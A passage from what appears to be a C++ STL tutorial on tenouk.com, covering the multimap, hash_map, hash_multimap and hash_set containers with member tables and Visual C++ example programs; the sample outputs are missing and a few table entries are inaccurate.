multimap <int, int> mmp6(mmp4.begin(), ++mmp4.begin(), less<int>(), mmp2_Alloc);

//--------------------------------------------------------
cout<<"Operation: multimap <int, int> mmp0\n";
cout<<"mmp0 data: ";
for(mmp0Iter = mmp0.begin(); mmp0Iter != mmp0.end(); mmp0Iter++)
cout<<" "<<mmp0Iter->second;
cout<<endl;

cout<<"\nOperation1: multimap<int, int, less<int> > mmp1\n";


cout<<"Operation2: mmp1.insert(Int_Pair(2, 2))...\n";
cout<<"mmp1 data: ";
for(mmp1Iter = mmp1.begin(); mmp1Iter != mmp1.end(); mmp1Iter++)
cout<<" "<<mmp1Iter->second;
cout<<endl;

cout<<"\nOperation1: multimap <int, int, greater<int> > mmp2\n";


cout<<"Operation2: mmp2.insert(Int_Pair(1, 11))...\n";
cout<<"mmp2 data: ";
for(mmp2Iter = mmp2.begin(); mmp2Iter != mmp2.end(); mmp2Iter++)
cout<<" "<<mmp2Iter->second;
cout<<endl;

cout<<"\nOperation1: multimap <int, int> mmp3(less<int>(), mmp1_Alloc)\n";


cout<<"Operation2: mmp3.insert(Int_Pair(3, 12))...\n";
cout<<"mmp3 data: ";
for(mmp3Iter = mmp3.begin(); mmp3Iter != mmp3.end(); mmp3Iter++)
cout<<" "<<mmp3Iter->second;
cout<<endl;

cout<<"\nOperation: multimap <int, int> mmp4(mmp1)\n";


cout<<"mmp4 data: ";
for(mmp4Iter = mmp4.begin(); mmp4Iter != mmp4.end(); mmp4Iter++)
cout<<" "<<mmp4Iter->second;
cout << endl;

cout<<"\nOperation: multimap <int, int> mmp5(mmp1_PIter, mmp1_QIter)\n";


cout<<"mmp5 data: ";
for(mmp5Iter = mmp5.begin(); mmp5Iter != mmp5.end(); mmp5Iter++)
cout<<" "<<mmp5Iter->second;
cout<<endl;

cout<<"\nOperation: multimap <int, int> mmp6(mmp4.begin(), \n++mmp4.begin(), less<int>(),


mmp2_Alloc)\n";
cout<<"mmp6 data: ";
for(mmp6Iter = mmp6.begin(); mmp6Iter != mmp6.end(); mmp6Iter++)
cout<<" "<<mmp6Iter->second;
cout<<endl;
return 0;
}

Output:

www.tenouk.com Page 10 of 33
---------------------------------------------End of multimap---------------------------------------
---www.tenouk.com---

Further reading and digging:

1. Check the best selling C / C++ and STL books at Amazon.com.

29.5 Hash Tables

- The hash table is a data structure for collections but it is not part of the C++ standard library. It is
implementation dependant.
- Libraries typically provide four kinds of hash tables that are hash_map, hash_multimap,
hash_set, and hash_multiset.

29.5.1 hash_map

- The main advantage of hashing over sorting is greater efficiency; a successful hashing performs
insertions, deletions, and finds in constant average time as compared with a time proportional to the
logarithm of the number of elements in the container for sorting techniques.
- The value of an element in a hash_map, but not its associated key value, may be changed directly.
Instead, key values associated with old elements must be deleted and new key values associated with
new elements inserted.
- Hashed associative containers are optimized for the operations of lookup, insertion and removal. The
member functions that explicitly support these operations are efficient when used with a well-designed
hash function, performing them in a time that is on average constant and not dependent on the number
of elements in the container.
- A good designed hash function produces a uniform distribution of hashed values and minimizes the
number of collisions, where a collision is said to occur when distinct key values are mapped into the
same hashed value. In the worst case, with the worst possible hash function, the number of operations
is proportional to the number of elements in the sequence (linear time).
- This type of structure is an ordered list of uniquely occurring keywords with associated string values.
If, instead, the words had more than one correct definition, so that keys were not unique, then a
hash_multimap would be the container of choice.
- If, on the other hand, just the list of words were being stored, then a hash_set would be the correct
container. If multiple occurrences of the words were allowed, then a hash_multiset would be the
appropriate container structure.
- The hash_map orders the sequence it controls by calling a stored hash Traits object of class
value_compare. This stored object may be accessed by calling the member function
key_comp(). Such a function object must behave the same as an object of class

www.tenouk.com Page 11 of 33
hash_compare<Key, less<Key> >. Specifically, for all values _Key of type Key, the call
Traits(_Key) yields a distribution of values of type size_t.
- The iterator provided by the hash_map class is a bidirectional iterator.

<hash_map> Header Members

Operators

Operator Description
Tests if the hash_map or hash_multimap object on the left side of the operator is not equal
operator!=
to the hash_map or hash_multimap object on the right side.
Tests if the hash_map or hash_multimap object on the left side of the operator is less than
operator<
the hash_map or hash_multimap object on the right side.
Tests if the hash_map or hash_multimap object on the left side of the operator is less than or
operator<=
equal to the hash_map or hash_multimap object on the right side.
Tests if the hash_map or hash_multimap object on the left side of the operator is equal to the
operator==
hash_map or hash_multimap object on the right side.
Tests if the hash_map or hash_multimap object on the left side of the operator is greater
operator>
than the hash_map or hash_multimap object on the right side.
Tests if the hash_map or hash_multimap object on the left side of the operator is greater
operator>=
than or equal to the hash_map or hash_multimap object on the right side.

Table 29.12

Specialized Template Functions

Specialized template
Description
function
Exchanges the elements of two hash_maps or
swap()
hash_multimaps.

Table 29.13

Classes

Class Description
Describes an object that can be used by any of the hash associative containers:
hash_compare
hash_map, hash_multimap, hash_set, or hash_multiset, as a default Traits parameter
Class
object to order and hash the elements they contain.
value_compare Provides a function object that can compare the elements of a hash_map by comparing
Class the values of their keys to determine their relative order in the hash_map.
Used for the storage and fast retrieval of data from a collection in which each element is
hash_map Class
a pair that has a sort key whose value is unique and an associated data value.
hash_multimap Used for the storage and fast retrieval of data from a collection in which each element is
Class a pair that has a sort key whose value need not be unique and an associated data value.

Table 29.14

hash_map Template Class Members

Typedefs

Typedef Description
allocator_type A type that represents the allocator class for the hash_map object.
const_iterator
A type that provides a bidirectional iterator that can read a const
element in the hash_map.
const_pointer A type that provides a pointer to a const element in a hash_map.
A type that provides a reference to a const element stored in a
const_reference
hash_map for reading and performing const operations.
const_reverse_iterator
A type that provides a bidirectional iterator that can read any const
element in the hash_map.
A signed integer type that can be used to represent the number of
difference_type elements of a hash_map in a range between elements pointed to by
iterators.

www.tenouk.com Page 12 of 33
iterator
A type that provides a bidirectional iterator that can read or modify
any element in a hash_map.
key_compare
A type that provides a function object that can compare two sort keys
to determine the relative order of two elements in the hash_map.
key_type
A type describes the sort key object that constitutes each element of
the hash_map.
mapped_type A type that represents the data type stored in a hash_map.
pointer A type that provides a pointer to an element in a hash_map.
reference A type that provides a reference to an element stored in a hash_map.
reverse_iterator
A type that provides a bidirectional iterator that can read or modify an
element in a reversed hash_map.
size_type
An unsigned integer type that can represent the number of elements in
a hash_map.
value_type
A type that provides a function object that can compare two elements
as sort keys to determine their relative order in the hash_map.

table 29.15

hash_map Template Class Member Functions

Member function Description


begin() Returns an iterator addressing the first element in the hash_map.
clear() Erases all the elements of a hash_map.
Returns the number of elements in a hash_map whose key matches a parameter-specified
count()
key.
empty() Tests if a hash_map is empty.
end() Returns an iterator that addresses the location succeeding the last element in a hash_map.
Returns a pair of iterators, respectively, to the first element in a hash_map with a key that
equal_range() is greater than a specified key and to the first element in the hash_map with a key that is
equal to or greater than the key.
erase() Removes an element or a range of elements in a hash_map from specified positions
Returns an iterator addressing the location of an element in a hash_map that has a key
find()
equivalent to a specified key.
get_allocator() Returns a copy of the allocator object used to construct the hash_map.
Constructs a hash_map that is empty or that is a copy of all or part of some other
hash_map()
hash_map.
insert() Inserts an element or a range of elements into a hash_map.
Returns an iterator to the first element in a hash_map with a key value that is equal to or
key_comp()
greater than that of a specified key.
Returns an iterator to the first element in a hash_map with a key value that is equal to or
lower_bound()
greater than that of a specified key.
max_size() Returns the maximum length of the hash_map.
rbegin() Returns an iterator addressing the first element in a reversed hash_map.
Returns an iterator that addresses the location succeeding the last element in a reversed
rend()
hash_map.
size() Specifies a new size for a hash_map.
swap() Exchanges the elements of two hash_maps.
Returns an iterator to the first element in a hash_map that with a key value that is greater
upper_bound()
than that of a specified key.
value_comp() Retrieves a copy of the comparison object used to order element values in a hash_map.

Table 29.16

hash_map Template Class Operator

Operator Description
Inserts an element into a hash_map with a specified key
operator[]
value.

Table 29.17

hash_map Class

www.tenouk.com Page 13 of 33
- Stores and retrieves data quickly from a collection in which each element is a pair that has a sort key
whose value is unique and an associated data value.

template <
class Key,
class Type,
class Traits=hash_compare<Key, less<Key> >,
class Allocator=allocator<pair <const Key, Type> >
>

Parameters

Parameter Description
Key The element data type to be stored in the hash_map.
Type The element data type to be stored in the hash_map.
The type which includes two function objects, one of class compare that is a binary
predicate able to compare two element values as sort keys to determine their relative
Traits
order and a hash function that is a unary predicate mapping key values of the elements to
unsigned integers of type size_t. This argument is optional, and
hash_compare<Key, less<Key> > is the default value.
The type that represents the stored allocator object that encapsulates details about the
Allocator
hash_map's allocation and de-allocation of memory. This argument is optional, and the
default value is allocator<pair <const Key, Type> >.

Table 29.18

- The hash_map is:

▪ An associative container, which a variable size container that supports the efficient retrieval of
element values based on an associated key value.
▪ Reversible, because it provides a bidirectional iterator to access its elements.
▪ Hashed, because its elements are grouped into buckets based on the value of a hash function
applied to the key values of the elements.
▪ Unique in the sense that each of its elements must have a unique key.
▪ A pair associative container, because its element data values are distinct from its key values.
▪ A template class, because the functionality it provides is generic and so independent of the
specific type of data contained as elements or keys. The data types to be used for elements and
keys are, instead, specified as parameters in the class template along with the comparison function
and allocator.

hash_map Constructor

- Constructs a hash_map that is empty or that is a copy of all or part of some other hash_map.
- All constructors store a type of allocator object that manages memory storage for the hash_map and
that can later be returned by calling get_allocator. The allocator parameter is often omitted in the
class declarations and preprocessing macros used to substitute alternative allocators.
- All constructors initialize their hash_map.
- All constructors store a function object of type Traits that is used to establish an order among the
keys of the hash_map and that can later be returned by calling key_comp.
- The first three constructors specify an empty initial hash_map, the second, in addition, specifying the
type of comparison function (_Comp) to be used in establishing the order of the elements and the
third explicitly specifying the allocator type (_Al) to be used.
- The keyword explicit suppresses certain kinds of automatic type conversion.
- The fourth constructor specifies a copy of the hash_map _Right.
- The last three constructors copy the range [_First, _Last) of a hash_map with increasing
explicitness in specifying the type of comparison function of class Traits and allocator.

//hash_map, constructor
//compiled with visual C++ 7.0
//or VC.Net, some warnings
#include <hash_map>
#include <iostream>
using namespace std;

int main()
{

www.tenouk.com Page 14 of 33
typedef pair <int, int> Int_Pair;
hash_map <int, int>::iterator hmp0_Iter, hmp1_Iter, hmp3_Iter, hmp4_Iter, hmp5_Iter, hmp6_Iter;
hash_map <int, int, hash_compare<int, greater<int> > >::iterator hmp2_Iter;

//Create an empty hash_map hmp0 of key type integer


hash_map <int, int> hmp0;

//Create an empty hash_map hmp1 with the key comparison


//function of less than, then insert 4 elements
hash_map <int, int, hash_compare <int, less<int> > > hmp1;
hmp1.insert(Int_Pair(1, 13));
hmp1.insert(Int_Pair(3, 51));
hmp1.insert(Int_Pair(7, 22));
hmp1.insert(Int_Pair(2, 31));

//Create an empty hash_map hmp2 with the key comparison


//function of greater than, then insert 4 elements
//no duplicate key...
hash_map <int, int, hash_compare <int, greater<int> > > hmp2;
hmp2.insert(Int_Pair(1, 17));
hmp2.insert(Int_Pair(2, 20));
hmp2.insert(Int_Pair(4, 13));
hmp2.insert(Int_Pair(3, 34));

//Create a hash_map hmp3 with the


//hash_map hmp1 allocator
//notice the duplicate key...
hash_map <int, int>::allocator_type hmp1_Alloc;
hmp1_Alloc = hmp1.get_allocator();
hash_map <int, int> hmp3(less<int>(), hmp1_Alloc);
hmp3.insert(Int_Pair(2, 17));
hmp3.insert(Int_Pair(1, 12));
hmp3.insert(Int_Pair(2, 15));
hmp3.insert(Int_Pair(1, 22));

//Create a hash_map hm5 by copying the range hm1[_First, _Last)


hash_map <int, int>::const_iterator hmp1_PIter, hmp1_QIter;
hmp1_PIter = hmp1.begin( );
hmp1_QIter = hmp1.begin( );
hmp1_QIter++;
hmp1_QIter++;
hash_map <int, int> hmp5(hmp1_PIter, hmp1_QIter);

//Create a hash_map hm6 by copying the range hm2[_First, _Last)


//and with the allocator of hash_map hm2
hash_map <int, int>::allocator_type hmp2_Alloc;
hmp2_Alloc = hmp2.get_allocator();
hash_map <int, int> hmp6(hmp2.begin(), ++hmp2.begin(), less<int>(), hmp2_Alloc);

//------------------------------------
cout<<"Operation: hash_map <int, int> hmp0\n";
cout<<"hmp0 data: ";
for(hmp0_Iter = hmp0.begin(); hmp0_Iter != hmp0.end(); hmp0_Iter++)
cout<<hmp0_Iter->second<<" ";
cout<<endl;

cout<<"\nOperation1: hash_map<int, int, \nhash_compare<int, less<int> > > hmp1\n";


cout<<"Operation2: hmp1.insert(Int_Pair(1, 13))...\n";
cout<<"hmp1 data: ";
for(hmp1_Iter = hmp1.begin(); hmp1_Iter != hmp1.end(); hmp1_Iter++)
cout<<hmp1_Iter->second<<" ";
cout<<endl;

cout<<"\nOperation1: hash_map<int, int, \nhash_compare<int, greater<int> > > hmp2\n";


cout<<"Operation2: hmp2.insert(Int_Pair(1, 17))...\n";
cout<<"hmp2 data: ";
for(hmp2_Iter = hmp2.begin(); hmp2_Iter != hmp2.end(); hmp2_Iter++)
cout<<hmp2_Iter->second<<" ";
cout<<endl;

cout<<"\nOperation1: hash_map<int, int> hmp3(less<int>(), hmp1_Alloc)\n";


cout<<"Operation2: hmp3.insert(Int_Pair(2, 17))...\n";
cout<<"hmp3 data: ";
for(hmp3_Iter = hmp3.begin(); hmp3_Iter != hmp3.end(); hmp3_Iter++)
cout<<hmp3_Iter->second<<" ";
cout<<endl;

cout<<"\nOperation: hash_map<int, int> hmp5(hmp1_PIter, hmp1_QIter)\n";


cout<<"hmp5 data: ";

www.tenouk.com Page 15 of 33
for(hmp5_Iter = hmp5.begin(); hmp5_Iter != hmp5.end(); hmp5_Iter++)
cout<<hmp5_Iter->second<<" ";
cout<<endl;

cout<<"\nOperation: hash_map<int, int> hmp6(hmp2.begin(), \n++hmp2.begin(), less<int>(),


hmp2_Alloc);\n";
cout<<"hmp6 data: ";
for(hmp6_Iter = hmp6.begin(); hmp6_Iter != hmp6.end(); hmp6_Iter++)
cout<<hmp6_Iter->second <<" ";
cout<<endl;
return 0;
}

Output:

---------------------------------------------End of hash_map---------------------------------------
---www.tenouk.com---

Further reading and digging:

1. Check the best selling C / C++ and STL books at Amazon.com.

29.5.2 hash_multimap Members

Typedefs

Typedef Description
allocator_type A type that represents the allocator class for the hash_multimap object.
A type that provides a bidirectional iterator that can read a const element in the
const_iterator
hash_multimap.
const_pointer A type that provides a pointer to a const element in a hash_multimap.
A type that provides a reference to a const element stored in a hash_multimap for
const_reference
reading and performing const operations.
A type that provides a bidirectional iterator that can read any const element in the
const_reverse_iterator
hash_multimap.
A signed integer type that can be used to represent the number of elements of a
difference_type
hash_multimap in a range between elements pointed to by iterators.
A type that provides a bidirectional iterator that can read or modify any element in a
iterator
hash_multimap.
A type that provides a function object that can compare two sort keys to determine
key_compare
the relative order of two elements in the hash_multimap.
A type that describes the sort key object that constitutes each element of the
key_type
hash_multimap.

www.tenouk.com Page 16 of 33
mapped_type A type that represents the data type stored in a hash_multimap.
pointer A type that provides a pointer to an element in a hash_multimap.
reference A type that provides a reference to an element stored in a hash_multimap.
A type that provides a bidirectional iterator that can read or modify an element in a
reverse_iterator
reversed hash_multimap.
An unsigned integer type that can represent the number of elements in a
size_type
hash_multimap.
A type that provides a function object that can compare two elements as sort keys to
value_type
determine their relative order in the hash_multimap.

Table 29.19

Member Functions

Member function Description


begin() Returns an iterator addressing the first element in the hash_multimap.
clear() Erases all the elements of a hash_multimap.
Returns the number of elements in a hash_multimap whose key matches a parameter-
count()
specified key.
empty() Tests if a hash_multimap is empty.
Returns an iterator that addresses the location succeeding the last element in a
end()
hash_multimap.
Returns an iterator that addresses the location succeeding the last element in a
equal_range()
hash_multimap.
erase() Removes an element or a range of elements in a hash_multimap from specified positions
Returns an iterator addressing the location of an element in a hash_multimap that has a key
find()
equivalent to a specified key.
get_allocator() Returns a copy of the allocator object used to construct the hash_multimap.
hash_multimap constructor, constructs a list of a specific size or with elements of a specific
hash_multimap()
value or with a specific allocator or as a copy of some other hash_multimap.
insert() Inserts an element or a range of elements into the hash_multimap at a specified position.
key_comp() Retrieves a copy of the comparison object used to order keys in a hash_multimap.
Returns an iterator to the first element in a hash_multimap that with a key value that is equal
lower_bound()
to or greater than that of a specified key.
max_size() Returns the maximum length of the hash_multimap.
rbegin() Returns an iterator addressing the first element in a reversed hash_multimap.
Returns an iterator that addresses the location succeeding the last element in a reversed
rend()
hash_multimap.
size() Specifies a new size for a hash_multimap.
swap() Exchanges the elements of two hash_multimaps.
Returns an iterator to the first element in a hash_multimap that with a key value that is greater
upper_bound()
than that of a specified key.
value_comp() Retrieves a copy of the comparison object used to order element values in a hash_multimap.

Table 29.20

- The container class hash_multimap is an extension of the STL and is used for the storage and fast
retrieval of data from a collection in which each element is a pair that has a sort key whose value need
not be unique and an associated data value.

template <
class Key,
class Type,
class Traits = hash_compare<Key, less<Key> >,
class Allocator = allocator<pair <const Key, Type> >
>

Parameters

Parameter Description
Key The element data type to be stored in the hash_multimap.
Type The element data type to be stored in the hash_multimap.
The type that includes two function objects, one of class Traits that is a binary predicate able to
compare two element values as sort keys to determine their relative order and a hash function that
Traits
is a unary predicate mapping key values of the elements to unsigned integers of type size_t.
This argument is optional, and the hash_compare<Key, less<Key> > is the default value.

www.tenouk.com Page 17 of 33
The type that represents the stored allocator object that encapsulates details about the
Allocator hash_multimap's allocation and de-allocation of memory. This argument is optional, and the
default value is allocator<pair <const Key, Type> >.

Table 29.21

- The hash_multimap is:

▪ An associative container, which a variable size container that supports the efficient retrieval of
element values based on an associated key value.
▪ Reversible, because it provides a bidirectional iterator to access its elements.
▪ Hashed, because its elements are grouped into buckets based on the value of a hash function
applied to the key values of the elements.
▪ Multiple, because its elements do not need to have a unique keys, so that one key value may have
many element data values associated with it.
▪ A pair associative container, because its element values are distinct from its key values.
▪ A template class, because the functionality it provides is generic and so independent of the
specific type of data contained as elements or keys. The data types to be used for elements and
keys are, instead, specified as parameters in the class template along with the comparison function
and allocator.

- The hash_multimap orders the sequence it controls by calling a stored hash Traits object of type
value_compare(). This stored object may be accessed by calling the member function
key_comp().
- Such a function object must behave the same as an object of class hash_compare<Key,
less<Key> >. Specifically, for all values _Key of type Key, the call Traits(_Key) yields a
distribution of values of type size_t.
- The iterator provided by the hash_multimap class is a bidirectional iterator, but the class member
functions insert() and hash_multimap() have versions that take as template parameters a
weaker input iterator, whose functionality requirements are more minimal than those guaranteed by the
class of bidirectional iterators.

hash_multimap Constructor

- Constructs a hash_multimap that is empty or that is a copy of all or part of some other
hash_multimap.
- All constructors store a type of allocator object that manages memory storage for the hash_multimap
and that can later be returned by calling get_allocator(). The allocator parameter is often
omitted in the class declarations and preprocessing macros used to substitute alternative allocators.
- All constructors initialize their hash_multimap.
- All constructors store a function object of type Traits that is used to establish an order among the
keys of the hash_multimap and that can later be returned by calling key_comp().
- The first three constructors specify an empty initial hash_multimap, the second specifying the type
of comparison function (_Comp) to be used in establishing the order of the elements and the third
explicitly specifying the allocator type (_Al) to be used. The keyword explicit suppresses certain
kinds of automatic type conversion.
- The fourth constructor specifies a copy of the hash_multimap _Right.
- The last three constructors copy the range [_First, _Last) of a map with increasing explicitness
in specifying the type of comparison function of class Traits and allocator.

//hash_multimap, constructor
//compiled with VC7.0 or .Net
//a lot of warning messages:-)
#include <hash_map>
#include <iostream>
using namespace std;

int main()
{
typedef pair <int, int> Int_Pair;
hash_multimap <int, int>::iterator hmp0_Iter, hmp1_Iter, hmp3_Iter, hmp4_Iter, hmp5_Iter;
hash_multimap <int, int, hash_compare <int, greater<int> > >::iterator hmp2_Iter;

//Create an empty hash_multimap hmp0 of key type integer


hash_multimap <int, int> hmp0;

www.tenouk.com Page 18 of 33
//Create an empty hash_multimap hmp1 with the key comparison
//function of less than, then insert 6 elements
hash_multimap <int, int, hash_compare <int, less<int> > > hmp1;
hmp1.insert(Int_Pair(3, 12));
hmp1.insert(Int_Pair(2, 30));
hmp1.insert(Int_Pair(1, 22));
hmp1.insert(Int_Pair(7, 41));
hmp1.insert(Int_Pair(4, 9));
hmp1.insert(Int_Pair(7, 30));

//Create an empty hash_multimap hmp2 with the key comparison


//function of greater than, then insert 2 elements
hash_multimap <int, int, hash_compare <int, greater<int> > > hmp2;
hmp2.insert(Int_Pair(2, 13));
hmp2.insert(Int_Pair(1, 17));

//Create a hash_multimap hmp3 with the


//allocator of hash_multimap hmp1
hash_multimap <int, int>::allocator_type hmp1_Alloc;
hmp1_Alloc = hmp1.get_allocator();
hash_multimap <int, int> hmp3(less<int>(),hmp1_Alloc);
hmp3.insert(Int_Pair(2, 13));
hmp3.insert(Int_Pair(4, 10));

//Create a hash_multimap hmp4 by copying the range hmp1[_First, _Last)


hash_multimap <int, int>::const_iterator hmp1_PIter, hmp1_QIter;
hmp1_PIter = hmp1.begin();
hmp1_QIter = hmp1.begin();
hmp1_QIter++;
hmp1_QIter++;
hmp1_QIter++;
hash_multimap <int, int> hmp4(hmp1_PIter, hmp1_QIter);

//Create a hash_multimap hmp5 by copying the range hmp2[_First, _Last)


//and with the allocator of hash_multimap hmp2
hash_multimap <int, int>::allocator_type hmp2_Alloc;
hmp2_Alloc = hmp2.get_allocator();
hash_multimap <int, int> hmp5(hmp2.begin(), ++hmp2.begin(), less<int>(), hmp2_Alloc);

//----------------------------------------------------
cout<<"Operation: hash_multimap <int, int> hmp0\n";
cout<<"hmp0 data: ";
for(hmp0_Iter = hmp0.begin(); hmp0_Iter != hmp0.end(); hmp0_Iter++)
cout<<hmp0_Iter->second<<" ";
cout<<endl;

cout<<"\nOperation1: hash_multimap<int, int, \n hash_compare<int, less<int> > > hmp1\n";


cout<<"Operation2: hmp1.insert(Int_Pair(3, 12))...\n";
cout<<"hmp1 data: ";
for(hmp1_Iter = hmp1.begin(); hmp1_Iter != hmp1.end(); hmp1_Iter++)
cout<<hmp1_Iter->second<<" ";
cout<<endl;

cout<<"\nOperation1: hash_multimap<int, int, \n hash_compare<int, greater<int> > > hmp2\n";


cout<<"Operation2: hmp2.insert(Int_Pair(2, 13))...\n";
cout<<"hmp2 data: ";
for(hmp2_Iter = hmp2.begin(); hmp2_Iter != hmp2.end(); hmp2_Iter++)
cout<<hmp2_Iter->second<<" ";
cout<<endl;

cout<<"\nOperation1: hash_multimap<int, int> hmp3(less<int>(), hmp1_Alloc)\n";


cout<<"Operation2: hmp3.insert(Int_Pair(2, 13))...\n";
cout<<"hmp3 data: ";
for(hmp3_Iter = hmp3.begin(); hmp3_Iter != hmp3.end(); hmp3_Iter++)
cout<<hmp3_Iter->second<<" ";
cout<<endl;

cout<<"\nOperation: hash_multimap<int, int> hmp4(hmp1_PIter, hmp1_QIter)\n";


cout<<"hmp4 data: ";
for(hmp4_Iter = hmp4.begin(); hmp4_Iter != hmp4.end(); hmp4_Iter++)
cout<<hmp4_Iter->second<<" ";
cout<<endl;

cout<<"\nOperation: hash_multimap<int, int> hmp5(hmp2.begin(), \n ++hmp2.begin(),


less<int>(), hmp2_Alloc);\n";
cout<<"hmp5 data: ";
for(hmp5_Iter = hmp5.begin(); hmp5_Iter != hmp5.end(); hmp5_Iter++)
cout<<hmp5_Iter->second<<" ";
cout<<endl;

www.tenouk.com Page 19 of 33
return 0;
}

Output:

-------------------------------------------End of hash_multimap------------------------------------
---www.tenouk.com---

Further reading and digging:

1. Check the best selling C / C++ and STL books at Amazon.com.

29.5.3 hash_set

- The elements of a hash_set are unique and serve as their own sort keys. A model for this type of
structure is an ordered list of, say, words in which the words may occur only once.
- If multiple occurrences of the words were allowed, then a hash_multiset would be the appropriate
container structure. If unique definitions were attached as values to the list of key words, then a
hash_map would be an appropriate structure to contain this data. If instead the definitions were not
unique, then a hash_multimap would be the container of choice.
- The hash_set orders the sequence it controls by calling a stored hash Traits object of type
value_compare.
- This stored object may be accessed by calling the member function key_comp(). Such a function
object must behave the same as an object of class hash_compare<Key, less<Key> >.
Specifically, for all values _Key of type Key, the call Trait(_Key) yields a distribution of values
of type size_t.
- The iterator provided by the hash_set class is a bidirectional iterator.

<hash_set> Header Members

Operators

Operator Description
Tests if the hash_set or hash_multiset object on the left side of the operator is not equal to
operator!=
the hash_set or hash_multiset object on the right side.
Tests if the hash_set or hash_multiset object on the left side of the operator is less than the
operator<
hash_set or hash_multiset object on the right side.
Tests if the hash_set or hash_multiset object on the left side of the operator is less than or
operator<=
equal to the hash_set or hash_multiset object on the right side.
operator== Tests if the hash_set or hash_multiset object on the left side of the operator is equal to the

www.tenouk.com Page 20 of 33
hash_set or hash_multiset object on the right side.
Tests if the hash_set or hash_multiset object on the left side of the operator is greater than
operator>
the hash_set or hash_multiset object on the right side.
Tests if the hash_set or hash_multiset object on the left side of the operator is greater than
operator>=
or equal to the hash_set or hash_multiset object on the right side.

Table 29.22

Specialized Template Functions

Specialized
Description
template function
Exchanges the elements of two hash_sets or
swap()
hash_multisets.

Table 29.23

Classes

Class Description
Describes an object that can be used by any of the hash associative containers —
hash_compare
hash_map, hash_multimap, hash_set, or hash_multiset — as a default Traits
Class
parameter object to order and hash the elements they contain.
hash_set Used for the storage and fast retrieval of data from a collection in which the values of
Class the elements contained are unique and serve as the key values.
hash_multiset Used for the storage and fast retrieval of data from a collection in which the values of
Class the elements contained are unique and serve as the key values.

Table 29.24

hash_set Template Class Members

Typedefs

Typedef Description
allocator_type A type that represents the allocator class for the hash_set object.
A type that provides a bidirectional iterator that can read a const element
const_iterator
in the hash_set.
const_pointer A type that provides a pointer to a const element in a hash_set.
A type that provides a reference to a const element stored in a hash_set
const_reference
for reading and performing const operations.
A type that provides a bidirectional iterator that can read any const
const_reverse_iterator
element in the hash_set.
A signed integer type that can be used to represent the number of elements
difference_type
of a hash_set in a range between elements pointed to by iterators.
A type that provides a bidirectional iterator that can read or modify any
iterator
element in a hash_set.
A type that provides a function object that can compare two sort keys to
key_compare
determine the relative order of two elements in the hash_set.
A type that describes an object stored as an element of a hash_set in its
key_type
capacity as sort key.
pointer A type that provides a pointer to an element in a hash_set.
reference A type that provides a reference to an element stored in a hash_set
A type that provides a bidirectional iterator that can read or modify an
reverse_iterator
element in a reversed hash_set.
An unsigned integer type that can represent the number of elements in a
size_type
hash_set.
A type that provides two function objects, a binary predicate of class
value_compare compare that can compare two element values of a hash_set to determine
their relative order and a unary predicate that hashes the elements.
A type that describes an object stored as an element of a hash_set in its
value_type
capacity as a value.

Table 29.25

hash_set Template Class Member Functions

www.tenouk.com Page 21 of 33
Member function Description
begin() Returns an iterator that addresses the first element in the hash_set.
clear() Erases all the elements of a hash_set.
Returns the number of elements in a hash_set whose key matches a parameter-
count()
specified key.
empty() Tests if a hash_set is empty.
Returns an iterator that addresses the location succeeding the last element in a
end()
hash_set.
Returns a pair of iterators respectively to the first element in a hash_set with a key that
equal_range() is greater than a specified key and to the first element in the hash_set with a key that is
equal to or greater than the key.
Removes an element or a range of elements in a hash_set from specified positions or
erase()
removes elements that match a specified key.
Returns an iterator addressing the location of an element in a hash_set that has a key
find()
equivalent to a specified key.
get_allocator() Returns a copy of the allocator object used to construct the hash_set.
Constructs a hash_set that is empty or that is a copy of all or part of some other
hash_set()
hash_set.
insert() Inserts an element or a range of elements into a hash_set.
key_comp() Retrieves a copy of the comparison object used to order keys in a hash_set.
Returns an iterator to the first element in a hash_set with a key that is equal to or
lower_bound()
greater than a specified key.
max_size() Returns the maximum length of the hash_set.
rbegin() Returns an iterator addressing the first element in a reversed hash_set.
Returns an iterator that addresses the location succeeding the last element in a
rend()
reversed hash_set.
size() Returns the number of elements in the hash_set.
swap() Exchanges the elements of two hash_sets.
Returns an iterator to the first element in a hash_set that with a key that is equal to or
upper_bound()
greater than a specified key.
Retrieves a copy of the hash traits object used to hash and order element key values in
value_comp()
a hash_set.

Table 29.26

hash_set Class

- The container class hash_set is an extension of the Standard Template Library (STL) and is used for the
storage and fast retrieval of data from a collection in which the values of the elements contained are
unique and serve as the key values.

template <
class Key,
class Traits=hash_compare<Key, less<Key> >,
class Allocator=allocator<Key>
>

Parameters

Parameter Description
Key The element data type to be stored in the hash_set.
The type which includes two function objects, one of class compare that is a binary
predicate able to compare two element values as sort keys to determine their relative
Traits
order and a hash function that is a unary predicate mapping key values of the
elements to unsigned integers of type size_t. This argument is optional, and the
hash_compare<Key, less<Key> > is the default value.
The type that represents the stored allocator object that encapsulates details about
Allocator
the hash_set's allocation and de-allocation of memory. This argument is optional,
and the default value is allocator<Key>.

Table 29.27

- The hash_set is:

www.tenouk.com Page 22 of 33
▪ An associative container, which a variable size container that supports the efficient retrieval of
element values based on an associated key value. Further, it is a simple associative container
because its element values are its key values.
▪ Reversible, because it provides a bidirectional iterator to access its elements.
▪ Hashed, because its elements are grouped into buckets based on the value of a hash function
applied to the key values of the elements.
▪ Unique in the sense that each of its elements must have a unique key. Because hash_set is also a
simple associative container, its elements are also unique.
▪ A template class because the functionality it provides is generic and so independent of the specific
type of data contained as elements or keys. The data types to be used for elements and keys are,
instead, specified as parameters in the class template along with the comparison function and
allocator.

hash_set Constructor

- Constructs a hash_set that is empty or that is a copy of all or part of some other hash_set.
- All constructors store a type of allocator object that manages memory storage for the hash_set and
that can later be returned by calling get_allocator(). The allocator parameter is often omitted in
the class declarations and preprocessing macros used to substitute alternative allocators.
- All constructors initialize their hash_sets.
- All constructors store a function object of type Traits that is used to establish an order among the
keys of the hash_set and that can later be returned by calling key_comp.
- The first three constructors specify an empty initial hash_set, the second specifying the type of
comparison function (_Comp) to be used in establishing the order of the elements and the third
explicitly specifying the allocator type (_Al) to be used.
- The key word explicit suppresses certain kinds of automatic type conversion.
- The fourth constructor specifies a copy of the hash_set _Right.
- The last three constructors copy the range [_First, _Last) of a hash_set with increasing
explicitness in specifying the type of comparison function of class Traits and allocator.
- The actual order of elements in a hash_set container depends on the hash function, the ordering
function and the current size of the hash table and cannot, in general, be predicted as it could with the
set container, where it was determined by the ordering function alone.

//hash_set, constructor
//compiled with VC7.0/.Net
//some warnings
#include <hash_set>
#include <iostream>
using namespace std;

int main()
{
hash_set <int>::iterator hst0_Iter, hst1_Iter, hst3_Iter, hst4_Iter, hst5_Iter;
hash_set <int, hash_compare <int, greater<int> > >::iterator hst2_Iter;

